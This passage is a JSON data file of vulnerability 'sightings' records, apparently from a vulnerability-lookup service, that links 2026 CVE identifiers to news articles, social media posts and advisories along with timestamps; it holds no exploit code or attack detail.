{"vulnerability": "2026-24", "sightings": [{"uuid": "34a82cce-3a4f-4547-9209-abd1a3a5c291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://thehackernews.com/2026/01/smartermail-fixes-critical.html", "content": "", "creation_timestamp": "2026-01-30T06:09:00.000000Z"}, {"uuid": "9aa7b314-a4e0-4906-a00b-2fa7b2f35b7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://www.thezdi.com/blog/2026/2/10/the-february-2026-security-update-review", "content": "", "creation_timestamp": "2026-02-10T17:30:28.000000Z"}, {"uuid": "8b2296a9-2990-472f-9fd5-91fd15ad443c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24297", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "09a11843-fb30-4e9e-a030-6e8a4a9dd50b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3me6yrtbib32s", "content": "", "creation_timestamp": "2026-02-06T13:22:51.177551Z"}, {"uuid": "945f79d9-7595-4a71-b72b-1c5d5545d96a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24489", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mdvcj4gmn22z", "content": "", "creation_timestamp": "2026-02-02T16:50:26.400571Z"}, {"uuid": "024a43c3-a5aa-4e32-a776-7d78f726d4fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://threatintel.cc/2026/02/09/smartertools-hit-by-ransomware-via.html", "content": "", "creation_timestamp": "2026-02-09T11:26:15.000000Z"}, {"uuid": "9faf72b1-c5f6-40c7-a995-812f6fe63c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24895", "type": "seen", "source": "https://bsky.app/profile/pentesterlab.com/post/3mewupfshrs2c", "content": "", "creation_timestamp": "2026-02-16T01:13:48.888060Z"}, {"uuid": "e006eba9-06a9-46c7-ae91-27ad26abd88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfpdpbbeyi23", "content": "", "creation_timestamp": "2026-02-25T18:46:04.202454Z"}, {"uuid": "1acc40fd-5810-48ec-ac80-c96405430bde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdiwlv7o3am2", "content": "", "creation_timestamp": "2026-01-28T18:45:18.853095Z"}, {"uuid": "8871539a-41fe-47c1-a902-f3f8fdd3d395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24689", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfspwjw5io2y", "content": "", "creation_timestamp": "2026-02-27T03:02:51.576168Z"}, {"uuid": "7bb454d8-aa6d-4418-b998-30c71bff1157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdiwnkbn6c2a", "content": "", "creation_timestamp": "2026-01-28T18:46:06.365301Z"}, {"uuid": "4270af58-4eca-4ad2-868b-9fb070a1e595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24352", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mftvfl364l2v", "content": "", "creation_timestamp": "2026-02-27T14:13:24.560144Z"}, {"uuid": "b9b4b656-bc87-405c-b676-675c3ff6d4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdiwshet3s2r", "content": "", "creation_timestamp": "2026-01-28T18:48:56.845010Z"}, {"uuid": "36a335c1-8976-44ac-9b3d-5e2710ae1fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mdxav5phyc2c", "content": "", "creation_timestamp": "2026-02-03T11:26:37.771335Z"}, {"uuid": "302b6ea2-3ef7-4128-a2e7-c0b98b6c1d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdiwsmsol22r", "content": "", "creation_timestamp": "2026-01-28T18:48:57.338028Z"}, {"uuid": "2ccef0d5-19d7-4e4a-9459-7597b8ee568a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mf3uv5akois2", "content": "", "creation_timestamp": "2026-02-18T01:00:20.951552Z"}, {"uuid": "f4c38143-a14f-4e27-86d9-9084fb6daf48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24834", "type": "seen", "source": "https://gist.github.com/alon710/190b52f5cf2955da46507c2a49f7b03c", "content": "", "creation_timestamp": "2026-02-19T16:10:40.000000Z"}, {"uuid": "086e632b-0175-4aa2-a2c1-fefa21b0d45e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mdiwsmspkc2r", "content": "", "creation_timestamp": "2026-01-28T18:48:57.846286Z"}, {"uuid": "ca7dff3f-b287-4857-8977-8a261ee60b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me72de4fym2o", "content": "", "creation_timestamp": "2026-02-06T13:50:33.300289Z"}, {"uuid": "3a826203-9876-4564-9423-9613cfae8029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/115974229483980831", "content": "", "creation_timestamp": "2026-01-28T18:51:47.447117Z"}, {"uuid": "2f6c52dd-7227-4cdb-bbc5-69c4f7550f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mewyvinek723", "content": "", "creation_timestamp": "2026-02-16T02:28:48.352340Z"}, {"uuid": "2655a328-672c-40a3-a4f3-3351a12290d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/montef.mastodon.social.ap.brid.gy/post/3mdix2kic7xu2", "content": "", "creation_timestamp": "2026-01-28T18:53:24.078505Z"}, {"uuid": "1e8f03d4-108b-4844-ab2f-4135a094fc93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/116006668882384503", "content": "", "creation_timestamp": "2026-02-03T12:21:31.438587Z"}, {"uuid": "e161ef0f-360e-41e6-8164-9962a68163ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24052", "type": "seen", "source": "https://gist.github.com/alon710/73f94a67bf4511676e0f9301624d10f2", "content": "", "creation_timestamp": "2026-02-04T17:40:06.000000Z"}, {"uuid": "dbcedb34-5d3f-42d5-88f5-fac634616ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116019903016374335", "content": "", "creation_timestamp": "2026-02-05T20:27:08.094823Z"}, {"uuid": "54fa77fc-4d97-4234-93c9-0acf4fecffa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cyfi-alerts.bsky.social/post/3mdix5ekwuh2m", "content": "", "creation_timestamp": "2026-01-28T18:54:56.880482Z"}, {"uuid": "efcffb1f-54fb-4de7-a450-c12e60b66656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3mdxdxgl4ip2i", "content": "", "creation_timestamp": "2026-02-03T12:21:32.884584Z"}, {"uuid": "880316ff-68f7-44a4-97fa-d5634f917367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/meneguzzo68.bsky.social/post/3me2gfow2yk2g", "content": "", "creation_timestamp": "2026-02-04T17:43:20.349574Z"}, {"uuid": "2bf1f2fe-58d0-4f4a-b61d-b508d2379d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24890", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfphok42qj2n", "content": "", "creation_timestamp": "2026-02-25T19:57:14.574252Z"}, {"uuid": "fa50b955-dad6-48fa-8965-0cb0ff7c3168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mf5y3suvck2h", "content": "", "creation_timestamp": "2026-02-18T21:03:09.218767Z"}, {"uuid": "a4ef12e1-3fa4-47ac-889a-1694a0664e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24890", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfphpkqtzo2s", "content": "", "creation_timestamp": "2026-02-25T19:57:49.080479Z"}, {"uuid": "1ef76226-b825-4277-bc5e-79e312668de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24695", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsr2ihvej2d", "content": "", "creation_timestamp": "2026-02-27T03:22:58.138688Z"}, {"uuid": "53a51282-41fe-40e6-8537-b3b3cc8aab93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24502", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdtfhlmxj2m", "content": "", "creation_timestamp": "2026-03-05T22:20:09.229310Z"}, {"uuid": "fbfc80c2-47ef-41ff-9174-af027ddcb611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24070", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvhgs23go2h", "content": "", "creation_timestamp": "2026-02-02T18:18:30.144998Z"}, {"uuid": "9742a5ff-a120-4e4c-a759-524c5316febb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24908", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfphpscn2i2d", "content": "", "creation_timestamp": "2026-02-25T19:57:56.827643Z"}, {"uuid": "63a639ea-0fe5-4ad3-91e9-6c4c4e3cbc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24071", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvhgzmqxl2g", "content": "", "creation_timestamp": "2026-02-02T18:18:37.517505Z"}, {"uuid": "dea98cba-bf88-4552-bad8-ba4f0ab29a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mex4akqics2y", "content": "", "creation_timestamp": "2026-02-16T03:28:43.454456Z"}, {"uuid": "ff8ba430-7719-4599-860e-8f9dfd87e31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mf3ztfukkq22", "content": "", "creation_timestamp": "2026-02-18T02:28:50.595914Z"}, {"uuid": "1676709e-86a9-460d-8021-f205cf5a0606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24663", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsrdgvbsx2n", "content": "", "creation_timestamp": "2026-02-27T03:27:58.314855Z"}, {"uuid": "dfdc1dbb-16b2-4ed7-ad1e-b8844529e265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mdvibzjguo26", "content": "", "creation_timestamp": "2026-02-02T18:33:43.725465Z"}, {"uuid": "07204688-30b6-4dce-82a9-1e152cddd0c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24890", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfphtxr3ta2x", "content": "", "creation_timestamp": "2026-02-25T20:00:16.990993Z"}, {"uuid": "329b18a5-b2ca-4bf1-85e8-1e1705f0b27e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24452", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsrk4urrd27", "content": "", "creation_timestamp": "2026-02-27T03:31:42.605933Z"}, {"uuid": "fe80aa11-d942-41be-b077-b7e2f24e7246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24497", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsrvhwi6x2y", "content": "", "creation_timestamp": "2026-02-27T03:38:06.535490Z"}, {"uuid": "2b66085b-8eb6-42f1-a339-4904903ced09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24423", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/115974320358367396", "content": "", "creation_timestamp": "2026-01-28T19:14:51.704654Z"}, {"uuid": "196dadb2-1baa-4922-8d18-c3ce3d85e2bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/116006948523068049", "content": "", "creation_timestamp": "2026-02-03T13:32:38.389278Z"}, {"uuid": "722ea508-5603-4e4f-8183-d695cc101707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24098", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3megv74xjju2i", "content": "", "creation_timestamp": "2026-02-09T16:40:00.206276Z"}, {"uuid": "0a827ae8-f422-4ba1-9022-03b93fb6b63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3mdxhwluxu223", "content": "", "creation_timestamp": "2026-02-03T13:32:39.792387Z"}, {"uuid": "a4e49646-d5b1-477c-bbc5-eca837da1337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24343", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3megvi4cpd52b", "content": "", "creation_timestamp": "2026-02-09T16:45:01.474638Z"}, {"uuid": "b33f6dc8-2dda-44c3-98c9-53185ed1b883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mexjcyrqnn2w", "content": "", "creation_timestamp": "2026-02-16T07:22:41.139466Z"}, {"uuid": "cd8c207b-8603-42f0-b499-eddabae82443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/news.facts.dev/post/3mf63encaa724", "content": "", "creation_timestamp": "2026-02-18T22:01:41.723118Z"}, {"uuid": "4059709a-32ee-4c45-a158-2900d8803c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mexjdaarl22q", "content": "", "creation_timestamp": "2026-02-16T07:22:49.602591Z"}, {"uuid": "047cb99b-7c7e-4548-b332-8ee70c83a5a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/beiruttime.bsky.social/post/3mfehvd4hc222", "content": "", "creation_timestamp": "2026-02-21T11:01:45.537063Z"}, {"uuid": "aabaa560-74a2-4916-a14a-9f21ec724ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/140", "content": "", "creation_timestamp": "2026-02-02T15:57:33.000000Z"}, {"uuid": "bcde7c05-4ac3-499b-96ae-0fcf084e30b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116024735212510885", "content": "", "creation_timestamp": "2026-02-06T16:56:08.083989Z"}, {"uuid": "8cf4bd1b-b969-431e-8750-612017331171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3mexjegdppm2t", "content": "", "creation_timestamp": "2026-02-16T07:23:29.166454Z"}, {"uuid": "04d53796-c33e-448f-9b0c-3b4237ceb760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2493", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-130/", "content": "", "creation_timestamp": "2026-02-25T05:00:00.000000Z"}, {"uuid": "73c85da9-ac59-4c78-a9b9-0e80f9e34f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/140", "content": "", "creation_timestamp": "2026-02-02T15:57:33.000000Z"}, {"uuid": "2d50a731-48f1-476a-acaa-fab594b3937c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/it4intserver.bsky.social/post/3mexjoobemp2z", "content": "", "creation_timestamp": "2026-02-16T07:29:12.824237Z"}, {"uuid": "21078b82-a664-4a82-ac2d-3ff073736cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2491", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-129/", "content": "", "creation_timestamp": "2026-02-25T05:00:00.000000Z"}, {"uuid": "ccbc4537-df95-498a-a162-d8b4c022d47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/140", "content": "", "creation_timestamp": "2026-02-02T15:57:33.000000Z"}, {"uuid": "f2fbfdfb-6745-4dce-846d-062cca83ce65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3me7epj6qz62j", "content": "", "creation_timestamp": "2026-02-06T16:56:18.399887Z"}, {"uuid": "5f2a5868-96f3-42ac-8ea5-c3111c217b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/gslin.bsky.social/post/3mfeisllqic2x", "content": "", "creation_timestamp": "2026-02-21T11:18:06.740468Z"}, {"uuid": "87bbe25e-e50e-4f0d-85d7-513a25903857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24908", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfu3emk7of2x", "content": "", "creation_timestamp": "2026-02-27T16:00:15.087505Z"}, {"uuid": "cf50a5e8-3607-4d7f-afd4-d997bf31cbef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/guardingpearsof.bsky.social/post/3mexk2nkjhk2r", "content": "", "creation_timestamp": "2026-02-16T07:35:54.802714Z"}, {"uuid": "9952098d-09e7-4ac6-a2c3-fbe74914e2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3mf63zoh4v62h", "content": "", "creation_timestamp": "2026-02-18T22:13:27.933907Z"}, {"uuid": "a9494b86-fb24-4645-baa8-549d098f44f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mexk5mbrojw2", "content": "", "creation_timestamp": "2026-02-16T07:37:38.043724Z"}, {"uuid": "9c3bc891-ac1e-497c-8a29-f80ae494fc7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mf64abmqs22e", "content": "", "creation_timestamp": "2026-02-18T22:17:12.489941Z"}, {"uuid": "62b082a4-e871-48bf-9837-4938c2039560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mexkgl7ztj2h", "content": "", "creation_timestamp": "2026-02-16T07:42:34.839925Z"}, {"uuid": "da355dbe-a61d-405c-a8ce-3d8e9f23a6e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mf46z6sods2i", "content": "", "creation_timestamp": "2026-02-18T04:01:33.745276Z"}, {"uuid": "0e6633dd-337e-46a3-b95b-e555c57e2189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3mf64abmqs22e", "content": "", "creation_timestamp": "2026-02-18T22:17:12.569992Z"}, {"uuid": "a70c4842-849b-4b96-bea7-e54469e68136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://thehackernews.com/2026/02/new-chrome-zero-day-cve-2026-2441-under.html", "content": "", "creation_timestamp": "2026-02-16T05:38:00.000000Z"}, {"uuid": "87d72c59-f526-4b29-860c-45e787087cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mehw52uqvb2w", "content": "", "creation_timestamp": "2026-02-10T02:29:24.691219Z"}, {"uuid": "702331fe-6563-468a-b617-578b5adb899a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mexlwblwo32b", "content": "", "creation_timestamp": "2026-02-16T08:09:15.734787Z"}, {"uuid": "13a71325-8690-4258-a44d-1a82a00dfdda", "vulnerability_lookup_origin": 